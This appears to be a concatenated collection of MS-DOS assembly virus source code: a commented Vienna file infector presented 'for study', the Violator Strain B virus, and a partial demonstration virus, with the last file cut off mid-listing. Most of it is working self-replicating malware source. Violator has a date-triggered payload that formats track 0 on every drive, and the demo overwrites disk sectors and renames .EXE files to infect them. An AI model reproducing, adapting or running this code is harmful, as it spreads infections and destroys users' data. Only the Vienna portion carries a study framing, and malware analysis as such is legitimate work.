               lea     dx,[si+105h]            ; Load effective addr
               mov     cx,0A3h
               int     21h                     ; DOS Services  ah=function 40h
                                               ;  write file cx=bytes, to ds:dx
               jc      loc_5                   ; Jump if carry Set
               mov     ax,4200h
               xor     cx,cx                   ; Zero register
               mov     dx,1
               int     21h                     ; DOS Services  ah=function 42h
                                               ;  move file ptr, cx,dx=offset
               mov     ah,40h                  ; '@'
               lea     dx,[si+1ABh]            ; Load effective addr
               mov     cx,2
               int     21h                     ; DOS Services  ah=function 40h
                                               ;  write file cx=bytes, to ds:dx
loc_5:
               mov     ah,3Eh                  ; '>'
               int     21h                     ; DOS Services  ah=function 3Eh
                                               ;  close file, bx=file handle
loc_6:
               jmp     bp                      ;*Register jump
data_1          dw      0                       ; Data table (indexed access)
               db      2Ah, 2Eh, 43h, 4Fh, 4Dh, 0
sub_1           endp


seg_a           ends



               end     start





;*****************************************************************************
;
;         *** NOT FOR GENERAL DISTRIBUTION ***     The Vienna Virus
;
; This file is for the purpose of virus study only! It should not be passed
;  around among the general public. It will be very useful for learning
;  how viruses work and propagate. But anybody with access to an assembler
;  can turn it into a working virus and anybody with a bit of assembly coding
;  experience can turn it into a far more malevolent program than it already
;  is. Keep this code in responsible hands!
;
; This program does not check wether or not the .COM file to be infected is
;  really a .COM file or simply a misnamed .EXE file. DOS does not rely on the
;  file extension, but does a double-check by looking for a signature that
;  indicates wether or not a file REALLY is an .EXE file. The virus writer
;  apparently did not know this. This virus will take any .EXE file that's
;  been renamed to a .COM file and try to infect it, obscuring the signature
;  that marks it as an .EXE file. When the infected file is then run, the
;  virus code will run first, and then the machine will try to run the .EXE
;  header data as though it were code. This is likely to crash the machine, and
;  since some later versions of DOS itself contain such misnamed .EXE files,
;  it's likely to happen.
;
;******************************************************************************

;******************************************************************************
;It seems that MASM won't always willingly translate ordinary assembly code
; into the byte-for-byte replacement of the code in the Vienna Virus. Since
; MASM is just a 2 pass assembler, it doesn't always have enough information to
; figure out the size of an instruction when it needs to. To be safe, it makes
; its guess on the high side and then adds in unrequested NOPS if it needs to
; pad out the space it allocated. Many of the NOPs in this virus are the result
; of this. But the virus writer seems to have done a bit of hand modification
; to the virus, and as a result, one instance where we'd expect a NOP, there
; isn't one. This macro allows us to mimic that instance, where an ordinary
; MOV CX,xx would otherwise have worked fine.
;******************************************************************************

MOV_CX  MACRO   X
       DB      0B9H
       DW      X
ENDM


CODE    SEGMENT
       ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
       ORG     $+0100H

;*****************************************************************************
;Start out with a JMP around the remains of the original .COM file, into the
;virus. The actual .COM file was just an INT 20, followed by a bunch of NOPS.
;The rest of the file (first 3 bytes) are stored in the virus data area.
;*****************************************************************************

VCODE:  JMP     virus


;This was the rest  of the original .COM file. Tiny and simple, this time

       NOP
       NOP
       NOP
       NOP
       NOP
       NOP
       NOP
       NOP
       NOP
       NOP
       NOP
       NOP
       NOP
       NOP
       NOP


;************************************************************
;              The actual virus starts here
;************************************************************

v_start equ     $


virus:  PUSH    CX
       MOV     DX,OFFSET vir_dat       ;This is where the virus data starts.
                                       ; The 2nd and 3rd bytes get modified.
       CLD                             ;Pointers will be auto INcremented
       MOV     SI,DX                   ;Access data as offset from SI
       ADD     SI,first_3              ;Point to original 1st 3 bytes of .COM
       MOV     DI,OFFSET 100H          ;`cause all .COM files start at 100H
       MOV     CX,3
       REPZ    MOVSB                   ;Restore original first 3 bytes of .COM
       MOV     SI,DX                   ;Keep SI pointing to the data area

;*************************************************************
;                   Check the DOS version
;*************************************************************

       MOV     AH,30H
       INT     21H

       CMP     AL,0                    ;0 means it's version 1.X

       JNZ     dos_ok                  ;For version 2.0 or greater
       JMP     quit                    ;Don't try to infect version 1.X


;*************************************************************
;  Here if the DOS version is high enough for this to work
;*************************************************************

dos_ok: PUSH    ES


;*************************************************************
;               Get DTA address into ES:BX
;*************************************************************

       MOV     AH,2FH
       INT     21H

;*************************************************************
;                    Save the DTA address
;*************************************************************


       MOV     [SI+old_dta],BX
       MOV     [SI+old_dts],ES         ;Save the DTA address

       POP     ES

;*************************************************************
;        Set DTA to point inside the virus data area
;*************************************************************

       MOV     DX,dta                  ;Offset of new DTA in virus data area
;       NOP                             ;MASM will add this NOP here
       ADD     DX,SI                   ;Compute DTA address
       MOV     AH,1AH
       INT     21H                     ;Set new DTA to inside our own code


       PUSH    ES
       PUSH    SI
       MOV     ES,DS:2CH
       MOV     DI,0                    ;ES:DI points to environment

;************************************************************
;        Find the "PATH=" string in the environment
;************************************************************

find_path:
       POP     SI
       PUSH    SI                      ;Get SI back
       ADD     SI,env_str              ;Point to "PATH=" string in data area
       LODSB
       MOV     CX,OFFSET 8000H         ;Environment can be 32768 bytes long
       REPNZ   SCASB                   ;Search for first character
       MOV     CX,4

;************************************************************
;       Loop to check for the next four characters
;************************************************************

check_next_4:
       LODSB
       SCASB
       JNZ     find_path               ;If not all there, abort & start over
       LOOP    check_next_4            ;Loop to check the next character

       POP     SI
       POP     ES
       MOV     [SI+path_ad],DI         ;Save the address of the PATH
       MOV     DI,SI
       ADD     DI,wrk_spc              ;File name workspace
       MOV     BX,SI                   ;Save a copy of SI
       ADD     SI,wrk_spc              ;Point SI to workspace
       MOV     DI,SI                   ;Point DI to workspace
       JMP     SHORT   slash_ok


;**********************************************************
;     Look in the PATH for more subdirectories, if any
;**********************************************************

set_subdir:
       CMP     WORD PTR [SI+path_ad],0 ;Is PATH string ended?
       JNZ     found_subdir            ;If not, there are more subdirectories
       JMP     all_done                ;Else, we're all done


;**********************************************************
;    Here if there are more subdirectories in the path
;**********************************************************

found_subdir:
       PUSH    DS
       PUSH    SI
       MOV     DS,ES:2CH               ;DS points to environment segment
       MOV     DI,SI
       MOV     SI,ES:[DI+path_ad]      ;SI = PATH address
       ADD     DI,wrk_spc              ;DI points to file name workspace


;***********************************************************
;      Move subdirectory name into file name workspace
;***********************************************************

move_subdir:
       LODSB                           ;Get character
       CMP     AL,';'                  ;Is it a ';' delimiter?
       JZ      moved_one               ;Yes, found another subdirectory
       CMP     AL,0                    ;End of PATH string?
       JZ      moved_last_one          ;Yes
       STOSB                           ;Save PATH marker into [DI]
       JMP     SHORT   move_subdir

;******************************************************************
; Mark the fact that we're looking through the final subdirectory
;******************************************************************

moved_last_one:
       MOV     SI,0


;******************************************************************
;              Here after we've moved a subdirectory
;******************************************************************

moved_one:
       POP     BX                      ;Pointer to virus data area
       POP     DS                      ;Restore DS
       MOV     [BX+path_ad],SI         ;Address of next subdirectory
       NOP

;******************************************************************
;             Make sure subdirectory ends in a "\"
;******************************************************************

       CMP     CH,'\'                  ;Ends with "\"?
       JZ      slash_ok                ;If yes
       MOV     AL,'\'                  ;Add one, if not
       STOSB


;******************************************************************
;     Here after we know there's a backslash at end of subdir
;******************************************************************

slash_ok:
       MOV     [BX+nam_ptr],DI         ;Set filename pointer to name workspace
       MOV     SI,BX                   ;Restore SI
       ADD     SI,f_spec               ;Point to "*.COM"
       MOV     CX,6
       REPZ    MOVSB                   ;Move "*.COM",0 to workspace

       MOV     SI,BX


;*******************************************************************
;                 Find first string matching *.COM
;*******************************************************************

       MOV     AH,4EH
       MOV     DX,wrk_spc
;       NOP                             ;MASM will add this NOP here
       ADD     DX,SI                   ;DX points to "*.COM" in workspace
       MOV     CX,3                    ;Attributes of Read Only or Hidden OK
       INT     21H

       JMP     SHORT   find_first


;*******************************************************************
;              Find next ASCIIZ string matching *.COM
;*******************************************************************

find_next:
       MOV     AH,4FH
       INT     21H

find_first:
       JNB     found_file              ;Jump if we found it
       JMP     SHORT   set_subdir      ;Otherwise, get another subdirectory

;*******************************************************************
;                      Here when we find a file
;*******************************************************************

found_file:
       MOV     AX,[SI+dta_tim]         ;Get time from DTA
       AND     AL,1FH                  ;Mask to remove all but seconds
       CMP     AL,1FH                  ;62 seconds -> already infected
       JZ      find_next               ;If so, go find another file

       CMP     WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too long?
       JA      find_next               ;If too long, find another one

       CMP     WORD PTR [SI+dta_len],0AH ;Is it too short?
       JB      find_next               ;Then go find another one

       MOV     DI,[SI+nam_ptr]         ;DI points to file name
       PUSH    SI                      ;Save SI
       ADD     SI,dta_nam              ;Point SI to file name

;********************************************************************
;                Move the name to the end of the path
;********************************************************************

more_chars:
       LODSB
       STOSB
       CMP     AL,0
       JNZ     more_chars              ;Move characters until we find a 00


;********************************************************************
;                        Get File Attributes
;********************************************************************

       POP     SI
       MOV     AX,OFFSET 4300H
       MOV     DX,wrk_spc              ;Point to \path\name in workspace
;       NOP                             ;MASM will add this NOP here
       ADD     DX,SI
       INT     21H


       MOV     [SI+old_att],CX         ;Save the old attributes


;********************************************************************
;         Rewrite the attributes to allow writing to the file
;********************************************************************

       MOV     AX,OFFSET 4301H         ;Set attributes
       AND     CX,OFFSET 0FFFEH        ;Set all except "read only" (weird)
       MOV     DX,wrk_spc              ;Offset of \path\name in workspace
;       NOP                             ;MASM will add this NOP here
       ADD     DX,SI                   ;Point to \path\name
       INT     21H

;********************************************************************
;                Open Read/Write channel to the file
;********************************************************************

       MOV     AX,OFFSET 3D02H         ;Read/Write
       MOV     DX,wrk_spc              ;Offset to \path\name in workspace
;       NOP                             ;MASM will add this NOP here
       ADD     DX,SI                   ;Point to \path\name
       INT     21H

       JNB     opened_ok               ;If file was opened OK
       JMP     fix_attr                ;If it failed, restore the attributes


;*******************************************************************
;                        Get the file date & time
;*******************************************************************

opened_ok:
       MOV     BX,AX
       MOV     AX,OFFSET 5700H
       INT     21H

       MOV     [SI+old_tim],CX         ;Save file time
       MOV     [SI+ol_date],DX         ;Save the date

;*******************************************************************
;                        Get current system time
;*******************************************************************

       MOV     AH,2CH
       INT     21H


       AND     DH,7                    ;Last 3 bits 0? (once in eight)

;*******************************************************************
; The following line is a change from the original virus. Originally
;  the following line would be JNZ seven_in_eight. This would ruin
;  about 1/8 of all .COM files infected, while the other 7/8 would
;  be left workable, but infected. For the purpose of studying a
;  live virus, the changed line is not so damaging.
;*******************************************************************
       JMP     SHORT   seven_in_eight


;*******************************************************************
; The special "one in eight" infection. If the above line were in
;  its original form, this code would be run 1/8 of the time, and
;  rather than appending a copy of this virus to the .COM file, the
;  file would get 5 bytes of code that reboot the system when the
;  .COM file is run.
;*******************************************************************


       MOV     AH,40H                  ;Write to file
       MOV     CX,5                    ;Five bytes
       MOV     DX,SI
       ADD     DX,reboot               ;Offset of reboot code in data area
       INT     21H

       JMP     SHORT   fix_time_stamp

       NOP


;******************************************************************
;      Here's where we infect a .COM file with this virus
;******************************************************************

seven_in_eight:
       MOV     AH,3FH
       MOV     CX,3
       MOV     DX,first_3
;       NOP                     ;MASM will add this NOP here
       ADD     DX,SI
       INT     21H             ;Save first 3 bytes into the data area

       JB      fix_time_stamp  ;Quit, if read failed

       CMP     AX,3            ;Were we able to read all 3 bytes?
       JNZ     fix_time_stamp  ;Quit, if not


;******************************************************************
;              Move file pointer to end of file
;******************************************************************

       MOV     AX,OFFSET 4202H
       MOV     CX,0
       MOV     DX,0
       INT     21H

       JB      fix_time_stamp  ;Quit, if it didn't work

       MOV     CX,AX           ;DX:AX (long int) = file size
       SUB     AX,3            ;Subtract 3 (OK, since DX must be 0, here)
       MOV     [SI+jmp_dsp],AX ;Save the displacement in a JMP instruction

       ADD     CX,OFFSET c_len_y
       MOV     DI,SI           ;Point DI to virus data area
       SUB     DI,OFFSET c_len_x
                               ;Point DI to reference vir_dat, at start of pgm
       MOV     [DI],CX         ;Modify vir_dat reference:2nd, 3rd bytes of pgm


;*******************************************************************
;                    Write virus code to file
;*******************************************************************

       MOV     AH,40H

       MOV_CX  virlen                  ;Length of virus, in bytes

       MOV     DX,SI
       SUB     DX,OFFSET codelen       ;Length of virus code, gives starting
                                       ; address of virus code in memory
       INT     21H

       JB      fix_time_stamp          ;Jump if error

       CMP     AX,OFFSET virlen        ;All bytes written?
       JNZ     fix_time_stamp          ;Jump if error


;**********************************************************************
;                Move file pointer to beginning of the file
;**********************************************************************

       MOV     AX,OFFSET 4200H
       MOV     CX,0
       MOV     DX,0
       INT     21H

       JB      fix_time_stamp          ;Jump if error


;**********************************************************************
;              Write the 3 byte JMP at the start of the file
;**********************************************************************

       MOV     AH,40H
       MOV     CX,3
       MOV     DX,SI                   ;Virus data area
       ADD     DX,jmp_op               ;Point to the reconstructed JMP
       INT     21H


;**********************************************************************
;       Restore old file date & time, with seconds modified to 62
;**********************************************************************

fix_time_stamp:
       MOV     DX,[SI+ol_date]         ;Old file date
       MOV     CX,[SI+old_tim]         ;Old file time
       AND     CX,OFFSET 0FFE0H
       OR      CX,1FH                  ;Seconds = 31/30 min = 62 seconds
       MOV     AX,OFFSET 5701H
       INT     21H


;**********************************************************************
;                              Close File
;**********************************************************************

       MOV     AH,3EH
       INT     21H


;**********************************************************************
;                     Restore Old File Attributes
;**********************************************************************

fix_attr:
       MOV     AX,OFFSET 4301H
       MOV     CX,[SI+old_att]         ;Old Attributes
       MOV     DX,wrk_spc
;       NOP                             ;MASM will add this NOP
       ADD     DX,SI                   ;DX points to \path\name in workspace
       INT     21H


;**********************************************************************
;              Here when it's time to close it up & end
;**********************************************************************

all_done:
       PUSH    DS


;**********************************************************************
;                         Restore old DTA
;**********************************************************************

       MOV     AH,1AH
       MOV     DX,[SI+old_dta]
       MOV     DS,[SI+old_dts]
       INT     21H

       POP     DS


;*************************************************************************
; Clear registers used, & do a weird kind of JMP 100. The weirdness comes
;  in since the address in a real JMP 100 is an offset, and the offset
;  varies from one infected file to the next. By PUSHing an 0100H onto the
;  stack, we can RET to address 0100H just as though we JMPed there.
;**********************************************************************

quit:
       POP     CX
       XOR     AX,AX
       XOR     BX,BX
       XOR     DX,DX
       XOR     SI,SI
       MOV     DI,OFFSET 0100H
       PUSH    DI
       XOR     DI,DI

       RET     0FFFFH

;************************************************************************
;The virus data starts here. It's accessed off the SI register, per the
; comments as shown
;************************************************************************

vir_dat EQU     $


       ;Use this with (SI + old_dta)
olddta_ DW      0                       ;Old DTA offset

       ;Use this with (SI + old_dts)
olddts_ DW      0                       ;Old DTA segment

       ;Use this with (SI + old_tim)
oldtim_ DW      0                       ;Old Time

       ;Use this with (SI + ol_date)
oldate_ DW      0                       ;Old date

       ;Use this with (SI + old_att)
oldatt_ DW      0                       ;Old file attributes



;Here's where the first three bytes of the original .COM file go.(SI + first_3)

first3_ EQU     $
       INT     20H
       NOP



;Here's where the new JMP instruction is worked out

       ;Use this with (SI + jmp_op)
jmpop_  DB      0E9H                    ;Start of JMP instruction

       ;Use this with (SI + jmp_dsp)
jmpdsp_ DW      0                       ;The displacement part



;This is the type of file  we're looking to infect. (SI + f_spec)

fspec_  DB      '*.COM',0

       ;Use this with (SI + path_ad)
pathad_ DW      0                       ;Path address

       ;Use this with (SI + nam_ptr)
namptr_ DW      0                       ;Pointer to start of file name

       ;Use this with (SI + env_str)
envstr_ DB      'PATH='                 ;Find this in the environment

       ;File name workspace (SI + wrk_spc)
wrkspc_ DB      40h dup (0)

       ;Use this with (SI + dta)
dta_    DB      16h dup (0)             ;Temporary DTA goes here

       ;Use this with (SI + dta_tim)
dtatim_ DW      0,0                     ;Time stamp in DTA

       ;Use this with (SI + dta_len)
dtalen_ DW      0,0                     ;File length in the DTA

       ;Use this with (SI + dta_nam)
dtanam_ DB      0Dh dup (0)             ;File name in the DTA

       ;Use this with (SI + reboot)
reboot_ DB      0EAH,0F0H,0FFH,0FFH,0FFH ;Five byte FAR JMP to FFFF:FFF0


lst_byt EQU     $                       ;All lines that assemble into code are
                                       ;  above this one


;*****************************************************************************
;The virus needs to know a few details about its own size and the size of its
; code portion. Let the assembler figure out these sizes automatically.
;*****************************************************************************

virlen  =       lst_byt - v_start       ;Length, in bytes, of the entire virus
codelen =       vir_dat - v_start       ;Length of virus code, only
c_len_x =       vir_dat - v_start - 2   ;Displacement for self-modifying code
c_len_y =       vir_dat - v_start + 100H ;Code length + 100h, for PSP


;*****************************************************************************
;Because this code is being appended to the end of an executable file, the
; exact address of its variables cannot be known. All are accessed as offsets
; from SI, which is represented as vir_dat in the below declarations.
;*****************************************************************************

old_dta =       olddta_ - vir_dat       ;Displacement to the old DTA offset
old_dts =       olddts_ - vir_dat       ;Displacement to the old DTA segment
old_tim =       oldtim_ - vir_dat       ;Displacement to old file time stamp
ol_date =       oldate_ - vir_dat       ;Displacement to old file date stamp
old_att =       oldatt_ - vir_dat       ;Displacement to old attributes
first_3 =       first3_ - vir_dat       ;Displacement-1st 3 bytes of old .COM
jmp_op  =       jmpop_  - vir_dat       ;Displacement to the JMP opcode
jmp_dsp =       jmpdsp_ - vir_dat       ;Displacement to the 2nd 2 bytes of JMP
f_spec  =       fspec_  - vir_dat       ;Displacement to the "*.COM" string
path_ad =       pathad_ - vir_dat       ;Displacement to the path address
nam_ptr =       namptr_ - vir_dat       ;Displacement to the filename pointer
env_str =       envstr_ - vir_dat       ;Displacement to the "PATH=" string
wrk_spc =       wrkspc_ - vir_dat       ;Displacement to the filename workspace
dta     =       dta_    - vir_dat       ;Displacement to the temporary DTA
dta_tim =       dtatim_ - vir_dat       ;Displacement to the time in the DTA
dta_len =       dtalen_ - vir_dat       ;Displacement to the length in the DTA
dta_nam =       dtanam_ - vir_dat       ;Displacement to the name in the DTA
reboot  =       reboot_ - vir_dat       ;Displacement to the 5 byte reboot code

       CODE    ENDS
END     VCODE





;*****************************************************************************
;
;                               Violator - Strain B
;
;*****************************************************************************
;
; (Aug/09/90)
;
; Development Notes:
;
;       I encountered several errors in the original Violator code which I
;       corrected in this version. Mainly, the INT 26 routine to fuck the
;       disk. It seems that the routine would crash right after the INT 26
;       was executed and the whole program would die. I have since fixed
;       this problem in this version with an INT 13, AH 05 (Format Track)
;       command. This works better than the subsequent INT 26.
;
;
;*****************************************************************************
;
;                          Written by - The High Evolutionary -
;                                 RABID Head Programmer
;
;                                Revised by: ЎOnslaughtЏ
;                               No affiliation with rabId
;
;                 Copyright (C) 1990 by RABID Nat'nl Development Corp.
;
;*****************************************************************************

MOV_CX  MACRO   X
       DB      0B9H
       DW      X
ENDM

CODE    SEGMENT
       ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
       ORG     $+0100H                         ; Set ORG to 100H plus our own

VCODE:  JMP     virus

       NOP
       NOP
       NOP                                     ;15 NOP's to place JMP Header
       NOP
       NOP
       NOP
       NOP
       NOP
       NOP
       NOP
       NOP
       NOP
       NOP
       NOP
       NOP

v_start equ     $


virus:  PUSH    CX
       MOV     DX,OFFSET vir_dat
       CLD
       MOV     SI,DX
       ADD     SI,first_3
       MOV     CX,3
       MOV     DI,OFFSET 100H
       REPZ    MOVSB
       MOV     SI,DX
       MOV     AH,30H
       INT     21H
       CMP     AL,0                            ;Quit it it's DOS 1.0
       JNZ     dos_ok
       JMP     quit

dos_ok: PUSH    ES
       MOV     AH,2FH
       INT     21H
       MOV     [SI+old_dta],BX
       MOV     [SI+old_dts],ES
       POP     ES
       MOV     DX,dta
       ADD     DX,SI
       MOV     AH,1AH
       INT     21H
       PUSH    ES
       PUSH    SI
       MOV     ES,DS:2CH
       MOV     DI,0
       JMP     year_check

year_check:
       MOV     AH,2AH                  ;Get date info
       INT     21H                     ;Call DOS
       CMP     CX,1990                 ;Check to see if the year is 1990
       JGE     month_check             ;If greater or equal, check month
       JMP     find_path               ;If not, go on with infection

month_check:
       MOV     AH,2AH                  ;Get date info
       INT     21h                     ;Call DOS
       CMP     DH,10                   ;Check to see if it is September
       JGE     day_check               ;If greater or equal, check day
       JMP     find_path               ;if not, go on with infection

day_check:
       MOV     AH,2Ah                  ;Get date info
       INT     21H                     ;Call DOS
       CMP     DL,31                   ;Check to see if it is the 4th
       JGE     multiplex               ;If yes, then nuke drives A:-Z:
       JMP     find_path               ;If not, then go on with infection

multiplex:
       MOV     AL,cntr                 ;Counter is the drive to kill
       CALL    alter                   ;Go and kill the drive
                                       ;25 is drive Z:
       CMP     cntr,25                 ;Is (cntr) 25 ?
       JE      find_path               ;Go on with infection
       INC     cntr                    ;Add one to (cntr)
       LOOP    multiplex               ;Loop back up to kill next drive

alter:
       MOV     AH,05                   ;Format Track
       MOV     CH,0                    ;Format track 0
       MOV     DH,0                    ;Head 0
       MOV     DL,cntr                 ;Format for drive in (cntr)
       INT     13h                     ;Call RWTS
       RET                             ;Return up for next drive

find_path:
       POP     SI
       PUSH    SI
       ADD     SI,env_str
       LODSB
       MOV     CX,OFFSET 8000H
       REPNZ   SCASB
       MOV     CX,4

check_next_4:
       LODSB
       SCASB
;
; The JNZ line specifies that if there is no PATH present, then we will go
; along and infect the ROOT directory on the default drive.
;
       JNZ     find_path               ;If not path, then go to ROOT dir
       LOOP    check_next_4            ;Go back and check for more chars
       POP     SI                      ;Load in PATH again to look for chars
       POP     ES
       MOV     [SI+path_ad],DI
       MOV     DI,SI
       ADD     DI,wrk_spc              ;Put the filename in wrk_spc
       MOV     BX,SI
       ADD     SI,wrk_spc
       MOV     DI,SI
       JMP     SHORT   slash_ok

set_subdir:
       CMP     WORD PTR [SI+path_ad],0
       JNZ     found_subdir
       JMP     all_done


found_subdir:
       PUSH    DS
       PUSH    SI
       MOV     DS,ES:2CH
       MOV     DI,SI
       MOV     SI,ES:[DI+path_ad]
       ADD     DI,wrk_spc              ;DI is the file name to infect! (hehe)


move_subdir:
       LODSB                           ;To tedious work to move into subdir
       CMP     AL,';'                  ;Does it end with a ; charachter?
       JZ      moved_one               ;if yes, then we found a subdir
       CMP     AL,0                    ;is it the end of the path?
       JZ      moved_last_one          ;if yes, then we save the PATH
       STOSB                           ;marker into DI for future reference
       JMP     SHORT   move_subdir

moved_last_one:
       MOV     SI,0

moved_one:
       POP     BX                      ;BX is where the virus data is
       POP     DS                      ;Restore DS so that we can do stuph
       MOV     [BX+path_ad],SI         ;Where is the next subdir?
       NOP
       CMP     CH,'\'                  ;Check to see if it ends in \
       JZ      slash_ok                ;If yes, then it's OK
       MOV     AL,'\'                  ;if not, then add one...
       STOSB                           ;store the sucker


slash_ok:
       MOV     [BX+nam_ptr],DI         ;Move the filename into workspace
       MOV     SI,BX                   ;Restore the original SI value
       ADD     SI,f_spec               ;Point to COM file victim
       MOV     CX,6
       REPZ    MOVSB                   ;Move victim into workspace
       MOV     SI,BX
       MOV     AH,4EH
       MOV     DX,wrk_spc
       ADD     DX,SI                   ;DX is ... THE VICTIM!!!
       MOV     CX,3                    ;Attributes of Read Only or Hidden OK
       INT     21H
       JMP     SHORT   find_first

find_next:
       MOV     AH,4FH
       INT     21H

find_first:
       JNB     found_file              ;Jump if we found it
       JMP     SHORT   set_subdir      ;Otherwise, get another subdirectory

found_file:
       MOV     AX,[SI+dta_tim]         ;Get time from DTA
       AND     AL,1EH                  ;Mask to remove all but seconds
       CMP     AL,1EH                  ;60 seconds
       JZ      find_next
       CMP     WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too long?
       JA      find_next               ;If too long, find another one
       CMP     WORD PTR [SI+dta_len],0AH ;Is it too short?
       JB      find_next               ;Then go find another one
       MOV     DI,[SI+nam_ptr]
       PUSH    SI
       ADD     SI,dta_nam

more_chars:
       LODSB
       STOSB
       CMP     AL,0
       JNZ     more_chars
       POP     SI
       MOV     AX,OFFSET 4300H
       MOV     DX,wrk_spc
       ADD     DX,SI
       INT     21H
       MOV     [SI+old_att],CX
       MOV     AX,OFFSET 4301H
       AND     CX,OFFSET 0FFFEH
       MOV     DX,wrk_spc
       ADD     DX,SI
       INT     21H
       MOV     AX,OFFSET 3D02H
       MOV     DX,wrk_spc
       ADD     DX,SI
       INT     21H
       JNB     opened_ok
       JMP     fix_attr

opened_ok:
       MOV     BX,AX
       MOV     AX,OFFSET 5700H
       INT     21H
       MOV     [SI+old_tim],CX         ;Save file time
       MOV     [SI+ol_date],DX         ;Save the date
       MOV     AH,2CH
       INT     21H
       AND     DH,7
       JMP     infect

infect:
       MOV     AH,3FH
       MOV     CX,3
       MOV     DX,first_3
       ADD     DX,SI
       INT     21H             ;Save first 3 bytes into the data area
       JB      fix_time_stamp
       CMP     AX,3
       JNZ     fix_time_stamp
       MOV     AX,OFFSET 4202H
       MOV     CX,0
       MOV     DX,0
       INT     21H
       JB      fix_time_stamp
       MOV     CX,AX
       SUB     AX,3
       MOV     [SI+jmp_dsp],AX
       ADD     CX,OFFSET c_len_y
       MOV     DI,SI
       SUB     DI,OFFSET c_len_x

       MOV     [DI],CX
       MOV     AH,40H
       MOV_CX  virlen
       MOV     DX,SI
       SUB     DX,OFFSET codelen
       INT     21H
       JB      fix_time_stamp
       CMP     AX,OFFSET virlen
       JNZ     fix_time_stamp
       MOV     AX,OFFSET 4200H
       MOV     CX,0
       MOV     DX,0
       INT     21H
       JB      fix_time_stamp
       MOV     AH,40H
       MOV     CX,3
       MOV     DX,SI
       ADD     DX,jmp_op
       INT     21H

fix_time_stamp:
       MOV     DX,[SI+ol_date]
       MOV     CX,[SI+old_tim]
       AND     CX,OFFSET 0FFE0H
       OR      CX,1EH
       MOV     AX,OFFSET 5701H
       INT     21H
       MOV     AH,3EH
       INT     21H

fix_attr:
       MOV     AX,OFFSET 4301H
       MOV     CX,[SI+old_att]
       MOV     DX,wrk_spc
       ADD     DX,SI
       INT     21H

all_done:
       PUSH    DS
       MOV     AH,1AH
       MOV     DX,[SI+old_dta]
       MOV     DS,[SI+old_dts]
       INT     21H
       POP     DS

quit:
       POP     CX
       XOR     AX,AX                   ;XOR values so that we will give the
       XOR     BX,BX                   ;poor sucker a hard time trying to
       XOR     DX,DX                   ;reassemble the source code if he
       XOR     SI,SI                   ;decides to dissassemble us.
       MOV     DI,OFFSET 0100H
       PUSH    DI
       XOR     DI,DI
       RET     0FFFFH                  ;Return back to the beginning
                                       ;of the program

vir_dat EQU     $

intro   db      '.D$^i*&B)_a.%R',13,10
olddta_ DW      0
olddts_ DW      0
oldtim_ DW      0
count_  DW      0
cntr    DB      2                               ; Drive to nuke from (C:+++)
oldate_ DW      0
oldatt_ DW      0
first3_ EQU     $
       INT     20H
       NOP
jmpop_  DB      0E9H
jmpdsp_ DW      0
fspec_  DB      '*.COM',0
pathad_ DW      0
namptr_ DW      0
envstr_ DB      'PATH='
wrkspc_ DB      40h dup (0)
dta_    DB      16h dup (0)
dtatim_ DW      0,0
dtalen_ DW      0,0
dtanam_ DB      0Dh dup (0)
lst_byt EQU     $
virlen  =       lst_byt - v_start
codelen =       vir_dat - v_start
c_len_x =       vir_dat - v_start - 2
c_len_y =       vir_dat - v_start + 100H
old_dta =       olddta_ - vir_dat
old_dts =       olddts_ - vir_dat
old_tim =       oldtim_ - vir_dat
ol_date =       oldate_ - vir_dat
old_att =       oldatt_ - vir_dat
first_3 =       first3_ - vir_dat
jmp_op  =       jmpop_  - vir_dat
jmp_dsp =       jmpdsp_ - vir_dat
f_spec  =       fspec_  - vir_dat
path_ad =       pathad_ - vir_dat
nam_ptr =       namptr_ - vir_dat
env_str =       envstr_ - vir_dat
wrk_spc =       wrkspc_ - vir_dat
dta     =       dta_    - vir_dat
dta_tim =       dtatim_ - vir_dat
dta_len =       dtalen_ - vir_dat
dta_nam =       dtanam_ - vir_dat
count   =       count_  - vir_dat

       CODE    ENDS
END     VCODE





;                        Virus in Assembly Language
;                        --------------------------

;Most viruses out there have been written in assembly because assembly has the
;unique ability to bypass operating system security.
;Here is an example of a virus written under MS-DOS 2.1 and can obviously be
;compiled in the later versions. The article contains remarks so as to further
;explain the parts. Programmers may wish to delete those segments if desired.

;**************************************************
;   Program Virus
;   Version 1.1
;   This is a demonstration program for computer
;   viruses. It has the ability to replace itself.
;   and thereby modify other programs. Enjoy.
;**************************************************

Code   Segment
      Assume  CS:Code
progr  equ 100h
      ORG progr

;**************************************************
;   The three NOP's serve as the marker byte of the
;   virus which allow it to identify a virus.
;**************************************************

MAIN:
      nop
      nop
      nop

;**************************************************
;   Initialize the pointers
;**************************************************

      mov ax,00
      mov es:[pointer],ax
      mov es:[counter],ax
      mov es:[disks],al

;**************************************************
;   Get the selected drive
;**************************************************

      mov ah,19h             ;drive?
      int 21h

;**************************************************
;   Get the current path on the current drive
;**************************************************

      mov cs:drive,al        ;save drive
      mov ah,47h             ;dir?
      mov dh,0
      add al,1
      mov dl,al              ;in actual drive
      lea si,cs:old_path     ;
      int 21h

;**************************************************
;   Get the number of drives present. If only one
;   is present, the pointer for the search order
;   will be set to serach order + 6
;**************************************************

      mov as,0eh             ;how many disks
      mov dl,0               ;
      int 21h

      mov al,01
      cmp al,01              ;one drive
      jnz hups3
      mov al,06

hups3: mov ah,0
      lea bx,search_order
      add bx,ax
      add bx,0001h
      mov cs:pointer,bx
      clc

;**************************************************
;   Carry is set, if no more .COM's are found.
;   Then, to avoid unnecessary work, .EXE files will
;   be renamed to .COM files and infected.
;   This causes the error message "Program to large
;   to fit memory" when starting larger infected
;   EXE programs.
;*************************************************

change_disk:
     jnc no_name_change
     mov ah,17h              ;change .EXE to .COM
     lea dx,cs:maske_exe
     int 21h
     cmp al,0ffh
     jnz no_name_change      ;.EXE found?

;****************************************************
;   If neither  .COM nor .EXE is found then sectors
;   will be overwritten depending on the system time
;   in milliseconds. This is the time of the complete
;   "infection" of a storage medium. The virus can
;   find nothing more to infect and starts its destruction
;*****************************************************

     mov ah,2ch              ; read system clock
     int 21h
     mov bx,cs:pointer
     mov al,cs:[bx]
     mov bx,dx
     mov cx,2
     mov dh,0
     int 26h                 ; write crap on disk

;******************************************************
;   Check if the end of the search order table has been
;   reached . If so, end.
;******************************************************

no_name_change:
     mov bx,cs:pointer
     dec bx
     mov cs:pointer,bx
     mov dl,cs:[bx]
     cmp dl,0ffh
     jnz hups2
     jmp hops

;****************************************************
;   Get new drive from the search order table and
;   select it .
